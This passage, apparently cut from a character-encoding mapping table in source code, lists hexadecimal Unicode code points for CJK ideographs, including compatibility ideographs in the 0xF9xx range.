0xF951, 0x5AE9, 0x8A25, 0x677B, 0x7D10, 0xF952, 0xF953, 0xF954, 0xF955,
0xF956, 0xF957, 0x80FD, 0xF958, 0xF959, 0x5C3C, 0x6CE5, 0x533F, 0x6EBA,
0x591A, 0x8336, 0x4E39, 0x4EB6, 0x4F46, 0x55AE, 0x5718, 0x58C7, 0x5F56,
0x65B7, 0x65E6, 0x6A80, 0x6BB5, 0x6E4D, 0x77ED, 0x7AEF, 0x7C1E, 0x7DDE,
0x86CB, 0x8892, 0x9132, 0x935B, 0x64BB, 0x6FBE, 0x737A, 0x75B8, 0x9054,
0x5556, 0x574D, 0x61BA, 0x64D4, 0x66C7, 0x6DE1, 0x6E5B, 0x6F6D, 0x6FB9,
0x75F0, 0x8043, 0x81BD, 0x8541, 0x8983, 0x8AC7, 0x8B5A, 0x931F, 0x6C93,
0x7553, 0x7B54, 0x8E0F, 0x905D, 0x5510, 0x5802, 0x5858, 0x5E62, 0x6207,
0x649E, 0x68E0, 0x7576, 0x7CD6, 0x87B3, 0x9EE8, 0x4EE3, 0x5788, 0x576E,
0x5927, 0x5C0D, 0x5CB1, 0x5E36, 0x5F85, 0x6234, 0x64E1, 0x73B3, 0x81FA,
0x888B, 0x8CB8, 0x968A, 0x9EDB, 0x5B85, 0x5FB7, 0x60B3, 0x5012, 0x5200,
0x5230, 0x5716, 0x5835, 0x5857, 0x5C0E, 0x5C60, 0x5CF6, 0x5D8B, 0x5EA6,
0x5F92, 0x60BC, 0x6311, 0x6389, 0x6417, 0x6843, 0x68F9, 0x6AC2, 0x6DD8,
0x6E21, 0x6ED4, 0x6FE4, 0x71FE, 0x76DC, 0x7779, 0x79B1, 0x7A3B, 0x8404,
0x89A9, 0x8CED, 0x8DF3, 0x8E48, 0x9003, 0x9014, 0x9053, 0x90FD, 0x934D,
0x9676, 0x97DC, 0x6BD2, 0x7006, 0x7258, 0x72A2, 0x7368, 0x7763, 0x79BF,
0x7BE4, 0x7E9B, 0x8B80, 0x58A9, 0x60C7, 0x6566, 0x65FD, 0x66BE, 0x6C8C,
0x711E, 0x71C9, 0x8C5A, 0x9813, 0x4E6D, 0x7A81, 0x4EDD, 0x51AC, 0x51CD,
0x52D5, 0x540C, 0x61A7, 0x6771, 0x6850, 0x68DF, 0x6D1E, 0x6F7C, 0x75BC,
0x77B3, 0x7AE5, 0x80F4, 0x8463, 0x9285, 0x515C, 0x6597, 0x675C, 0x6793,
0x75D8, 0x7AC7, 0x8373, 0xF95A, 0x8C46, 0x9017, 0x982D, 0x5C6F, 0x81C0,
0x829A, 0x9041, 0x906F, 0x920D, 0x5F97, 0x5D9D, 0x6A59, 0x71C8, 0x767B,
0x7B49, 0x85E4, 0x8B04, 0x9127, 0x9A30, 0x5587, 0x61F6, 0xF95B, 0x7669,
0x7F85, 0x863F, 0x87BA, 0x88F8, 0x908F, 0xF95C, 0x6D1B, 0x70D9, 0x73DE,
0x7D61, 0x843D, 0xF95D, 0x916A, 0x99F1, 0xF95E, 0x4E82, 0x5375, 0x6B04,
0x6B12, 0x703E, 0x721B, 0x862D, 0x9E1E, 0x524C, 0x8FA3, 0x5D50, 0x64E5,
0x652C, 0x6B16, 0x6FEB, 0x7C43, 0x7E9C, 0x85CD, 0x8964, 0x89BD, 0x62C9,
0x81D8, 0x881F, 0x5ECA, 0x6717, 0x6D6A, 0x72FC, 0x7405, 0x746F, 0x8782,
0x90DE, 0x4F86, 0x5D0D, 0x5FA0, 0x840A, 0x51B7, 0x63A0, 0x7565, 0x4EAE,
0x5006, 0x5169, 0x51C9, 0x6881, 0x6A11, 0x7CAE, 0x7CB1, 0x7CE7, 0x826F,
0x8AD2, 0x8F1B, 0x91CF, 0x4FB6, 0x5137, 0x52F5, 0x5442, 0x5EEC, 0x616E,
0x623E, 0x65C5, 0x6ADA, 0x6FFE, 0x792A, 0x85DC, 0x8823, 0x95AD, 0x9A62,
0x9A6A, 0x9E97, 0x9ECE, 0x529B, 0x66C6, 0x6B77, 0x701D, 0x792B, 0x8F62,
0x9742, 0x6190, 0x6200, 0x6523, 0x6F23, 0x7149, 0x7489, 0x7DF4, 0x806F,
0x84EE, 0x8F26, 0x9023, 0x934A, 0x51BD, 0x5217, 0x52A3, 0x6D0C, 0x70C8,
0x88C2, 0x5EC9, 0x6582, 0x6BAE, 0x6FC2, 0x7C3E, 0x7375, 0x4EE4, 0x4F36,
0x56F9, 0xF95F, 0x5CBA, 0x5DBA, 0x601C, 0x73B2, 0x7B2D, 0x7F9A, 0x7FCE,
0x8046, 0x901E, 0x9234, 0x96F6, 0x9748, 0x9818, 0x9F61, 0x4F8B, 0x6FA7,
0x79AE, 0x91B4, 0x96B7, 0x52DE, 0xF960, 0x6488, 0x64C4, 0x6AD3, 0x6F5E,
0x7018, 0x7210, 0x76E7, 0x8001, 0x8606, 0x865C, 0x8DEF, 0x8F05, 0x9732,
0x9B6F, 0x9DFA, 0x9E75, 0x788C, 0x797F, 0x7DA0, 0x83C9, 0x9304, 0x9E7F,
0x9E93, 0x8AD6, 0x58DF, 0x5F04, 0x6727, 0x7027, 0x74CF, 0x7C60, 0x807E,
0x5121, 0x7028, 0x7262, 0x78CA, 0x8CC2, 0x8CDA, 0x8CF4, 0x96F7, 0x4E86,
0x50DA, 0x5BEE, 0x5ED6, 0x6599, 0x71CE, 0x7642, 0x77AD, 0x804A, 0x84FC,
0x907C, 0x9B27, 0x9F8D, 0x58D8, 0x5A41, 0x5C62, 0x6A13, 0x6DDA, 0x6F0F,
0x763B, 0x7D2F, 0x7E37, 0x851E, 0x8938, 0x93E4, 0x964B, 0x5289, 0x65D2,
0x67F3, 0x69B4, 0x6D41, 0x6E9C, 0x700F, 0x7409, 0x7460, 0x7559, 0x7624,
0x786B, 0x8B2C, 0x985E, 0x516D, 0x622E, 0x9678, 0x4F96, 0x502B, 0x5D19,
0x6DEA, 0x7DB8, 0x8F2A, 0x5F8B, 0x6144, 0x6817, 0xF961, 0x9686, 0x52D2,
0x808B, 0x51DC, 0x51CC, 0x695E, 0x7A1C, 0x7DBE, 0x83F1, 0x9675, 0x4FDA,
0x5229, 0x5398, 0x540F, 0x550E, 0x5C65, 0x60A7, 0x674E, 0x68A8, 0x6D6C,
0x7281, 0x72F8, 0x7406, 0x7483, 0xF962, 0x75E2, 0x7C6C, 0x7F79, 0x7FB8,
0x8389, 0x88CF, 0x88E1, 0x91CC, 0x91D0, 0x96E2, 0x9BC9, 0x541D, 0x6F7E,
0x71D0, 0x7498, 0x85FA, 0x8EAA, 0x96A3, 0x9C57, 0x9E9F, 0x6797, 0x6DCB,
0x7433, 0x81E8, 0x9716, 0x782C, 0x7ACB, 0x7B20, 0x7C92, 0x6469, 0x746A,
0x75F2, 0x78BC, 0x78E8, 0x99AC, 0x9B54, 0x9EBB, 0x5BDE, 0x5E55, 0x6F20,
0x819C, 0x83AB, 0x9088, 0x4E07, 0x534D, 0x5A29, 0x5DD2, 0x5F4E, 0x6162,
0x633D, 0x6669, 0x66FC, 0x6EFF, 0x6F2B, 0x7063, 0x779E, 0x842C, 0x8513,
0x883B, 0x8F13, 0x9945, 0x9C3B, 0x551C, 0x62B9, 0x672B, 0x6CAB, 0x8309,
0x896A, 0x977A, 0x4EA1, 0x5984, 0x5FD8, 0x5FD9, 0x671B, 0x7DB2, 0x7F54,
0x8292, 0x832B, 0x83BD, 0x8F1E, 0x9099, 0x57CB, 0x59B9, 0x5A92, 0x5BD0,
0x6627, 0x679A, 0x6885, 0x6BCF, 0x7164, 0x7F75, 0x8CB7, 0x8CE3, 0x9081,
0x9B45, 0x8108, 0x8C8A, 0x964C, 0x9A40, 0x9EA5, 0x5B5F, 0x6C13, 0x731B,
0x76F2, 0x76DF, 0x840C, 0x51AA, 0x8993, 0x514D, 0x5195, 0x52C9, 0x68C9,
0x6C94, 0x7704, 0x7720, 0x7DBF, 0x7DEC, 0x9762, 0x9EB5, 0x6EC5, 0x8511,
0x51A5, 0x540D, 0x547D, 0x660E, 0x669D, 0x6927, 0x6E9F, 0x76BF, 0x7791,
0x8317, 0x84C2, 0x879F, 0x9169, 0x9298, 0x9CF4, 0x8882, 0x4FAE, 0x5192,
0x52DF, 0x59C6, 0x5E3D, 0x6155, 0x6478, 0x6479, 0x66AE, 0x67D0, 0x6A21,
0x6BCD, 0x6BDB, 0x725F, 0x7261, 0x7441, 0x7738, 0x77DB, 0x8017, 0x82BC,
0x8305, 0x8B00, 0x8B28, 0x8C8C, 0x6728, 0x6C90, 0x7267, 0x76EE, 0x7766,
0x7A46, 0x9DA9, 0x6B7F, 0x6C92, 0x5922, 0x6726, 0x8499, 0x536F, 0x5893,
0x5999, 0x5EDF, 0x63CF, 0x6634, 0x6773, 0x6E3A, 0x732B, 0x7AD7, 0x82D7,
0x9328, 0x52D9, 0x5DEB, 0x61AE, 0x61CB, 0x620A, 0x62C7, 0x64AB, 0x65E0,
0x6959, 0x6B66, 0x6BCB, 0x7121, 0x73F7, 0x755D, 0x7E46, 0x821E, 0x8302,
0x856A, 0x8AA3, 0x8CBF, 0x9727, 0x9D61, 0x58A8, 0x9ED8, 0x5011, 0x520E,
0x543B, 0x554F, 0x6587, 0x6C76, 0x7D0A, 0x7D0B, 0x805E, 0x868A, 0x9580,
0x96EF, 0x52FF, 0x6C95, 0x7269, 0x5473, 0x5A9A, 0x5C3E, 0x5D4B, 0x5F4C,
0x5FAE, 0x672A, 0x68B6, 0x6963, 0x6E3C, 0x6E44, 0x7709, 0x7C73, 0x7F8E,
0x8587, 0x8B0E, 0x8FF7, 0x9761, 0x9EF4, 0x5CB7, 0x60B6, 0x610D, 0x61AB,
0x654F, 0x65FB, 0x65FC, 0x6C11, 0x6CEF, 0x739F, 0x73C9, 0x7DE1, 0x9594,
0x5BC6, 0x871C, 0x8B10, 0x525D, 0x535A, 0x62CD, 0x640F, 0x64B2, 0x6734,
0x6A38, 0x6CCA, 0x73C0, 0x749E, 0x7B94, 0x7C95, 0x7E1B, 0x818A, 0x8236,
0x8584, 0x8FEB, 0x96F9, 0x99C1, 0x4F34, 0x534A, 0x53CD, 0x53DB, 0x62CC,
0x642C, 0x6500, 0x6591, 0x69C3, 0x6CEE, 0x6F58, 0x73ED, 0x7554, 0x7622,
0x76E4, 0x76FC, 0x78D0, 0x78FB, 0x792C, 0x7D46, 0x822C, 0x87E0, 0x8FD4,
0x9812, 0x98EF, 0x52C3, 0x62D4, 0x64A5, 0x6E24, 0x6F51, 0x767C, 0x8DCB,
0x91B1, 0x9262, 0x9AEE, 0x9B43, 0x5023, 0x508D, 0x574A, 0x59A8, 0x5C28,
0x5E47, 0x5F77, 0x623F, 0x653E, 0x65B9, 0x65C1, 0x6609, 0x678B, 0x699C,
0x6EC2, 0x78C5, 0x7D21, 0x80AA, 0x8180, 0x822B, 0x82B3, 0x84A1, 0x868C,
0x8A2A, 0x8B17, 0x90A6, 0x9632, 0x9F90, 0x500D, 0x4FF3, 0xF963, 0x57F9,
0x5F98, 0x62DC, 0x6392, 0x676F, 0x6E43, 0x7119, 0x76C3, 0x80CC, 0x80DA,
0x88F4, 0x88F5, 0x8919, 0x8CE0, 0x8F29, 0x914D, 0x966A, 0x4F2F, 0x4F70,
0x5E1B, 0x67CF, 0x6822, 0x767D, 0x767E, 0x9B44, 0x5E61, 0x6A0A, 0x7169,
0x71D4, 0x756A, 0xF964, 0x7E41, 0x8543, 0x85E9, 0x98DC, 0x4F10, 0x7B4F,
0x7F70, 0x95A5, 0x51E1, 0x5E06, 0x68B5, 0x6C3E, 0x6C4E, 0x6CDB, 0x72AF,
0x7BC4, 0x8303, 0x6CD5, 0x743A, 0x50FB, 0x5288, 0x58C1, 0x64D8, 0x6A97,
0x74A7, 0x7656, 0x78A7, 0x8617, 0x95E2, 0x9739, 0xF965, 0x535E, 0x5F01,
0x8B8A, 0x8FA8, 0x8FAF, 0x908A, 0x5225, 0x77A5, 0x9C49, 0x9F08, 0x4E19,
0x5002, 0x5175, 0x5C5B, 0x5E77, 0x661E, 0x663A, 0x67C4, 0x68C5, 0x70B3,
0x7501, 0x75C5, 0x79C9, 0x7ADD, 0x8F27, 0x9920, 0x9A08, 0x4FDD, 0x5821,
0x5831, 0x5BF6, 0x666E, 0x6B65, 0x6D11, 0x6E7A, 0x6F7D, 0x73E4, 0x752B,
0x83E9, 0x88DC, 0x8913, 0x8B5C, 0x8F14, 0x4F0F, 0x50D5, 0x5310, 0x535C,
0x5B93, 0x5FA9, 0x670D, 0x798F, 0x8179, 0x832F, 0x8514, 0x8907, 0x8986,
0x8F39, 0x8F3B, 0x99A5, 0x9C12, 0x672C, 0x4E76, 0x4FF8, 0x5949, 0x5C01,
0x5CEF, 0x5CF0, 0x6367, 0x68D2, 0x70FD, 0x71A2, 0x742B, 0x7E2B, 0x84EC,
0x8702, 0x9022, 0x92D2, 0x9CF3, 0x4E0D, 0x4ED8, 0x4FEF, 0x5085, 0x5256,
0x526F, 0x5426, 0x5490, 0x57E0, 0x592B, 0x5A66, 0x5B5A, 0x5B75, 0x5BCC,
0x5E9C, 0xF966, 0x6276, 0x6577, 0x65A7, 0x6D6E, 0x6EA5, 0x7236, 0x7B26,
0x7C3F, 0x7F36, 0x8150, 0x8151, 0x819A, 0x8240, 0x8299, 0x83A9, 0x8A03,
0x8CA0, 0x8CE6, 0x8CFB, 0x8D74, 0x8DBA, 0x90E8, 0x91DC, 0x961C, 0x9644,
0x99D9, 0x9CE7, 0x5317, 0x5206, 0x5429, 0x5674, 0x58B3, 0x5954, 0x596E,
0x5FFF, 0x61A4, 0x626E, 0x6610, 0x6C7E, 0x711A, 0x76C6, 0x7C89, 0x7CDE,
0x7D1B, 0x82AC, 0x8CC1, 0x96F0, 0xF967, 0x4F5B, 0x5F17, 0x5F7F, 0x62C2,
0x5D29, 0x670B, 0x68DA, 0x787C, 0x7E43, 0x9D6C, 0x4E15, 0x5099, 0x5315,
0x532A, 0x5351, 0x5983, 0x5A62, 0x5E87, 0x60B2, 0x618A, 0x6249, 0x6279,
0x6590, 0x6787, 0x69A7, 0x6BD4, 0x6BD6, 0x6BD7, 0x6BD8, 0x6CB8, 0xF968,
0x7435, 0x75FA, 0x7812, 0x7891, 0x79D5, 0x79D8, 0x7C83, 0x7DCB, 0x7FE1,
0x80A5, 0x813E, 0x81C2, 0x83F2, 0x871A, 0x88E8, 0x8AB9, 0x8B6C, 0x8CBB,
0x9119, 0x975E, 0x98DB, 0x9F3B, 0x56AC, 0x5B2A, 0x5F6C, 0x658C, 0x6AB3,
0x6BAF, 0x6D5C, 0x6FF1, 0x7015, 0x725D, 0x73AD, 0x8CA7, 0x8CD3, 0x983B,
0x6191, 0x6C37, 0x8058, 0x9A01, 0x4E4D, 0x4E8B, 0x4E9B, 0x4ED5, 0x4F3A,
0x4F3C, 0x4F7F, 0x4FDF, 0x50FF, 0x53F2, 0x53F8, 0x5506, 0x55E3, 0x56DB,
0x58EB, 0x5962, 0x5A11, 0x5BEB, 0x5BFA, 0x5C04, 0x5DF3, 0x5E2B, 0x5F99,
0x601D, 0x6368, 0x659C, 0x65AF, 0x67F6, 0x67FB, 0x68AD, 0x6B7B, 0x6C99,
0x6CD7, 0x6E23, 0x7009, 0x7345, 0x7802, 0x793E, 0x7940, 0x7960, 0x79C1,
0x7BE9, 0x7D17, 0x7D72, 0x8086, 0x820D, 0x838E, 0x84D1, 0x86C7, 0x88DF,
0x8A50, 0x8A5E, 0x8B1D, 0x8CDC, 0x8D66, 0x8FAD, 0x90AA, 0x98FC, 0x99DF,
0x9E9D, 0x524A, 0xF969, 0x6714, 0xF96A, 0x5098, 0x522A, 0x5C71, 0x6563,
0x6C55, 0x73CA, 0x7523, 0x759D, 0x7B97, 0x849C, 0x9178, 0x9730, 0x4E77,
0x6492, 0x6BBA, 0x715E, 0x85A9, 0x4E09, 0xF96B, 0x6749, 0x68EE, 0x6E17,
0x829F, 0x8518, 0x886B, 0x63F7, 0x6F81, 0x9212, 0x98AF, 0x4E0A, 0x50B7,
0x50CF, 0x511F, 0x5546, 0x55AA, 0x5617, 0x5B40, 0x5C19, 0x5CE0, 0x5E38,
0x5E8A, 0x5EA0, 0x5EC2, 0x60F3, 0x6851, 0x6A61, 0x6E58, 0x723D, 0x7240,
0x72C0, 0x76F8, 0x7965, 0x7BB1, 0x7FD4, 0x88F3, 0x89F4, 0x8A73, 0x8C61,
0x8CDE, 0x971C, 0x585E, 0x74BD, 0x8CFD, 0x55C7, 0xF96C, 0x7A61, 0x7D22,
0x8272, 0x7272, 0x751F, 0x7525, 0xF96D, 0x7B19, 0x5885, 0x58FB, 0x5DBC,
0x5E8F, 0x5EB6, 0x5F90, 0x6055, 0x6292, 0x637F, 0x654D, 0x6691, 0x66D9,
0x66F8, 0x6816, 0x68F2, 0x7280, 0x745E, 0x7B6E, 0x7D6E, 0x7DD6, 0x7F72,
0x80E5, 0x8212, 0x85AF, 0x897F, 0x8A93, 0x901D, 0x92E4, 0x9ECD, 0x9F20,
0x5915, 0x596D, 0x5E2D, 0x60DC, 0x6614, 0x6673, 0x6790, 0x6C50, 0x6DC5,
0x6F5F, 0x77F3, 0x78A9, 0x84C6, 0x91CB, 0x932B, 0x4ED9, 0x50CA, 0x5148,
0x5584, 0x5B0B, 0x5BA3, 0x6247, 0x657E, 0x65CB, 0x6E32, 0x717D, 0x7401,
0x7444, 0x7487, 0x74BF, 0x766C, 0x79AA, 0x7DDA, 0x7E55, 0x7FA8, 0x817A,
0x81B3, 0x8239, 0x861A, 0x87EC, 0x8A75, 0x8DE3, 0x9078, 0x9291, 0x9425,
0x994D, 0x9BAE, 0x5368, 0x5C51, 0x6954, 0x6CC4, 0x6D29, 0x6E2B, 0x820C,
0x859B, 0x893B, 0x8A2D, 0x8AAA, 0x96EA, 0x9F67, 0x5261, 0x66B9, 0x6BB2,
0x7E96, 0x87FE, 0x8D0D, 0x9583, 0x965D, 0x651D, 0x6D89, 0x71EE, 0xF96E,
0x57CE, 0x59D3, 0x5BAC, 0x6027, 0x60FA, 0x6210, 0x661F, 0x665F, 0x7329,
0x73F9, 0x76DB, 0x7701, 0x7B6C, 0x8056, 0x8072, 0x8165, 0x8AA0, 0x9192,
0x4E16, 0x52E2, 0x6B72, 0x6D17, 0x7A05, 0x7B39, 0x7D30, 0xF96F, 0x8CB0,
0x53EC, 0x562F, 0x5851, 0x5BB5, 0x5C0F, 0x5C11, 0x5DE2, 0x6240, 0x6383,
0x6414, 0x662D, 0x68B3, 0x6CBC, 0x6D88, 0x6EAF, 0x701F, 0x70A4, 0x71D2,
0x7526, 0x758F, 0x758E, 0x7619, 0x7B11, 0x7BE0, 0x7C2B, 0x7D20, 0x7D39,
0x852C, 0x856D, 0x8607, 0x8A34, 0x900D, 0x9061, 0x90B5, 0x92B7, 0x97F6,
0x9A37, 0x4FD7, 0x5C6C, 0x675F, 0x6D91, 0x7C9F, 0x7E8C, 0x8B16, 0x8D16,
0x901F, 0x5B6B, 0x5DFD, 0x640D, 0x84C0, 0x905C, 0x98E1, 0x7387, 0x5B8B,
0x609A, 0x677E, 0x6DDE, 0x8A1F, 0x8AA6, 0x9001, 0x980C, 0x5237, 0xF970,
0x7051, 0x788E, 0x9396, 0x8870, 0x91D7, 0x4FEE, 0x53D7, 0x55FD, 0x56DA,
0x5782, 0x58FD, 0x5AC2, 0x5B88, 0x5CAB, 0x5CC0, 0x5E25, 0x6101, 0x620D,
0x624B, 0x6388, 0x641C, 0x6536, 0x6578, 0x6A39, 0x6B8A, 0x6C34, 0x6D19,
0x6F31, 0x71E7, 0x72E9, 0x7378, 0x7407, 0x74B2, 0x7626, 0x7761, 0x79C0,
0x7A57, 0x7AEA, 0x7CB9, 0x7D8F, 0x7DAC, 0x7E61, 0x7F9E, 0x8129, 0x8331,
0x8490, 0x84DA, 0x85EA, 0x8896, 0x8AB0, 0x8B90, 0x8F38, 0x9042, 0x9083,
0x916C, 0x9296, 0x92B9, 0x968B, 0x96A7, 0x96A8, 0x96D6, 0x9700, 0x9808,
0x9996, 0x9AD3, 0x9B1A, 0x53D4, 0x587E, 0x5919, 0x5B70, 0x5BBF, 0x6DD1,
0x6F5A, 0x719F, 0x7421, 0x74B9, 0x8085, 0x83FD, 0x5DE1, 0x5F87, 0x5FAA,
0x6042, 0x65EC, 0x6812, 0x696F, 0x6A53, 0x6B89, 0x6D35, 0x6DF3, 0x73E3,
0x76FE, 0x77AC, 0x7B4D, 0x7D14, 0x8123, 0x821C, 0x8340, 0x84F4, 0x8563,
0x8A62, 0x8AC4, 0x9187, 0x931E, 0x9806, 0x99B4, 0x620C, 0x8853, 0x8FF0,
0x9265, 0x5D07, 0x5D27, 0x5D69, 0x745F, 0x819D, 0x8768, 0x6FD5, 0x62FE,
0x7FD2, 0x8936, 0x8972, 0x4E1E, 0x4E58, 0x50E7, 0x52DD, 0x5347, 0x627F,
0x6607, 0x7E69, 0x8805, 0x965E, 0x4F8D, 0x5319, 0x5636, 0x59CB, 0x5AA4,
0x5C38, 0x5C4E, 0x5C4D, 0x5E02, 0x5F11, 0x6043, 0x65BD, 0x662F, 0x6642,
0x67BE, 0x67F4, 0x731C, 0x77E2, 0x793A, 0x7FC5, 0x8494, 0x84CD, 0x8996,
0x8A66, 0x8A69, 0x8AE1, 0x8C55, 0x8C7A, 0x57F4, 0x5BD4, 0x5F0F, 0x606F,
0x62ED, 0x690D, 0x6B96, 0x6E5C, 0x7184, 0x7BD2, 0x8755, 0x8B58, 0x8EFE,
0x98DF, 0x98FE, 0x4F38, 0x4F81, 0x4FE1, 0x547B, 0x5A20, 0x5BB8, 0x613C,
0x65B0, 0x6668, 0x71FC, 0x7533, 0x795E, 0x7D33, 0x814E, 0x81E3, 0x8398,
0x85AA, 0x85CE, 0x8703, 0x8A0A, 0x8EAB, 0x8F9B, 0xF971, 0x8FC5, 0x5931,
0x5BA4, 0x5BE6, 0x6089, 0x5BE9, 0x5C0B, 0x5FC3, 0x6C81, 0xF972, 0x6DF1,
0x700B, 0x751A, 0x82AF, 0x8AF6, 0x4EC0, 0x5341, 0xF973, 0x96D9, 0x6C0F,
0x4E9E, 0x4FC4, 0x5152, 0x555E, 0x5A25, 0x5CE8, 0x6211, 0x7259, 0x82BD,
0x83AA, 0x86FE, 0x8859, 0x8A1D, 0x963F, 0x96C5, 0x9913, 0x9D09, 0x9D5D,
0x580A, 0x5CB3, 0x5DBD, 0x5E44, 0x60E1, 0x6115, 0x63E1, 0x6A02, 0x6E25,
0x9102, 0x9354, 0x984E, 0x9C10, 0x9F77, 0x5B89, 0x5CB8, 0x6309, 0x664F,
0x6848, 0x773C, 0x96C1, 0x978D, 0x9854, 0x9B9F, 0x65A1, 0x8B01, 0x8ECB,
0x95BC, 0x5535, 0x5CA9, 0x5DD6, 0x5EB5, 0x6697, 0x764C, 0x83F4, 0x95C7,
0x58D3, 0x62BC, 0x72CE, 0x9D28, 0x4EF0, 0x592E, 0x600F, 0x663B, 0x6B83,
0x79E7, 0x9D26, 0x5393, 0x54C0, 0x57C3, 0x5D16, 0x611B, 0x66D6, 0x6DAF,
0x788D, 0x827E, 0x9698, 0x9744, 0x5384, 0x627C, 0x6396, 0x6DB2, 0x7E0A,
0x814B, 0x984D, 0x6AFB, 0x7F4C, 0x9DAF, 0x9E1A, 0x4E5F, 0x503B, 0x51B6,
0x591C, 0x60F9, 0x63F6, 0x6930, 0x723A, 0x8036, 0xF974, 0x91CE, 0x5F31,
0xF975, 0xF976, 0x7D04, 0x82E5, 0x846F, 0x84BB, 0x85E5, 0x8E8D, 0xF977,
0x4F6F, 0xF978, 0xF979, 0x58E4, 0x5B43, 0x6059, 0x63DA, 0x6518, 0x656D,
0x6698, 0xF97A, 0x694A, 0x6A23, 0x6D0B, 0x7001, 0x716C, 0x75D2, 0x760D,
0x79B3, 0x7A70, 0xF97B, 0x7F8A, 0xF97C, 0x8944, 0xF97D, 0x8B93, 0x91C0,
0x967D, 0xF97E, 0x990A, 0x5704, 0x5FA1, 0x65BC, 0x6F01, 0x7600, 0x79A6,
0x8A9E, 0x99AD, 0x9B5A, 0x9F6C, 0x5104, 0x61B6, 0x6291, 0x6A8D, 0x81C6,
0x5043, 0x5830, 0x5F66, 0x7109, 0x8A00, 0x8AFA, 0x5B7C, 0x8616, 0x4FFA,
0x513C, 0x56B4, 0x5944, 0x63A9, 0x6DF9, 0x5DAA, 0x696D, 0x5186, 0x4E88,
0x4F59, 0xF97F, 0xF980, 0xF981, 0x5982, 0xF982, 0xF983, 0x6B5F, 0x6C5D,
0xF984, 0x74B5, 0x7916, 0xF985, 0x8207, 0x8245, 0x8339, 0x8F3F, 0x8F5D,
0xF986, 0x9918, 0xF987, 0xF988, 0xF989, 0x4EA6, 0xF98A, 0x57DF, 0x5F79,
0x6613, 0xF98B, 0xF98C, 0x75AB, 0x7E79, 0x8B6F, 0xF98D, 0x9006, 0x9A5B,
0x56A5, 0x5827, 0x59F8, 0x5A1F, 0x5BB4, 0xF98E, 0x5EF6, 0xF98F, 0xF990,
0x6350, 0x633B, 0xF991, 0x693D, 0x6C87, 0x6CBF, 0x6D8E, 0x6D93, 0x6DF5,
0x6F14, 0xF992, 0x70DF, 0x7136, 0x7159, 0xF993, 0x71C3, 0x71D5, 0xF994,
0x784F, 0x786F, 0xF995, 0x7B75, 0x7DE3, 0xF996, 0x7E2F, 0xF997, 0x884D,
0x8EDF, 0xF998, 0xF999, 0xF99A, 0x925B, 0xF99B, 0x9CF6, 0xF99C, 0xF99D,
0xF99E, 0x6085, 0x6D85, 0xF99F, 0x71B1, 0xF9A0, 0xF9A1, 0x95B1, 0x53AD,
0xF9A2, 0xF9A3, 0xF9A4, 0x67D3, 0xF9A5, 0x708E, 0x7130, 0x7430, 0x8276,
0x82D2, 0xF9A6, 0x95BB, 0x9AE5, 0x9E7D, 0x66C4, 0xF9A7, 0x71C1, 0x8449,
0xF9A8, 0xF9A9, 0x584B, 0xF9AA, 0xF9AB, 0x5DB8, 0x5F71, 0xF9AC, 0x6620,
0x668E, 0x6979, 0x69AE, 0x6C38, 0x6CF3, 0x6E36, 0x6F41, 0x6FDA, 0x701B,
0x702F, 0x7150, 0x71DF, 0x7370, 0xF9AD, 0x745B, 0xF9AE, 0x74D4, 0x76C8,
0x7A4E, 0x7E93, 0xF9AF, 0xF9B0, 0x82F1, 0x8A60, 0x8FCE, 0xF9B1, 0x9348,
0xF9B2, 0x9719, 0xF9B3, 0xF9B4, 0x4E42, 0x502A, 0xF9B5, 0x5208, 0x53E1,
0x66F3, 0x6C6D, 0x6FCA, 0x730A, 0x777F, 0x7A62, 0x82AE, 0x85DD, 0x8602,
0xF9B6, 0x88D4, 0x8A63, 0x8B7D, 0x8C6B, 0xF9B7, 0x92B3, 0xF9B8, 0x9713,
0x9810, 0x4E94, 0x4F0D, 0x4FC9, 0x50B2, 0x5348, 0x543E, 0x5433, 0x55DA,
0x5862, 0x58BA, 0x5967, 0x5A1B, 0x5BE4, 0x609F, 0xF9B9, 0x61CA, 0x6556,
0x65FF, 0x6664, 0x68A7, 0x6C5A, 0x6FB3, 0x70CF, 0x71AC, 0x7352, 0x7B7D,
0x8708, 0x8AA4, 0x9C32, 0x9F07, 0x5C4B, 0x6C83, 0x7344, 0x7389, 0x923A,
0x6EAB, 0x7465, 0x761F, 0x7A69, 0x7E15, 0x860A, 0x5140, 0x58C5, 0x64C1,
0x74EE, 0x7515, 0x7670, 0x7FC1, 0x9095, 0x96CD, 0x9954, 0x6E26, 0x74E6,
0x7AA9, 0x7AAA, 0x81E5, 0x86D9, 0x8778, 0x8A1B, 0x5A49, 0x5B8C, 0x5B9B,
0x68A1, 0x6900, 0x6D63, 0x73A9, 0x7413, 0x742C, 0x7897, 0x7DE9, 0x7FEB,
0x8118, 0x8155, 0x839E, 0x8C4C, 0x962E, 0x9811, 0x66F0, 0x5F80, 0x65FA,
0x6789, 0x6C6A, 0x738B, 0x502D, 0x5A03, 0x6B6A, 0x77EE, 0x5916, 0x5D6C,
0x5DCD, 0x7325, 0x754F, 0xF9BA, 0xF9BB, 0x50E5, 0x51F9, 0x582F, 0x592D,
0x5996, 0x59DA, 0x5BE5, 0xF9BC, 0xF9BD, 0x5DA2, 0x62D7, 0x6416, 0x6493,
0x64FE, 0xF9BE, 0x66DC, 0xF9BF, 0x6A48, 0xF9C0, 0x71FF, 0x7464, 0xF9C1,
0x7A88, 0x7AAF, 0x7E47, 0x7E5E, 0x8000, 0x8170, 0xF9C2, 0x87EF, 0x8981,
0x8B20, 0x9059, 0xF9C3, 0x9080, 0x9952, 0x617E, 0x6B32, 0x6D74, 0x7E1F,
0x8925, 0x8FB1, 0x4FD1, 0x50AD, 0x5197, 0x52C7, 0x57C7, 0x5889, 0x5BB9,
0x5EB8, 0x6142, 0x6995, 0x6D8C, 0x6E67, 0x6EB6, 0x7194, 0x7462, 0x7528,
0x752C, 0x8073, 0x8338, 0x84C9, 0x8E0A, 0x9394, 0x93DE, 0xF9C4, 0x4E8E,
0x4F51, 0x5076, 0x512A, 0x53C8, 0x53CB, 0x53F3, 0x5B87, 0x5BD3, 0x5C24,
0x611A, 0x6182, 0x65F4, 0x725B, 0x7397, 0x7440, 0x76C2, 0x7950, 0x7991,
0x79B9, 0x7D06, 0x7FBD, 0x828B, 0x85D5, 0x865E, 0x8FC2, 0x9047, 0x90F5,
0x91EA, 0x9685, 0x96E8, 0x96E9, 0x52D6, 0x5F67, 0x65ED, 0x6631, 0x682F,
0x715C, 0x7A36, 0x90C1, 0x980A, 0x4E91, 0xF9C5, 0x6A52, 0x6B9E, 0x6F90,
0x7189, 0x8018, 0x82B8, 0x8553, 0x904B, 0x9695, 0x96F2, 0x97FB, 0x851A,
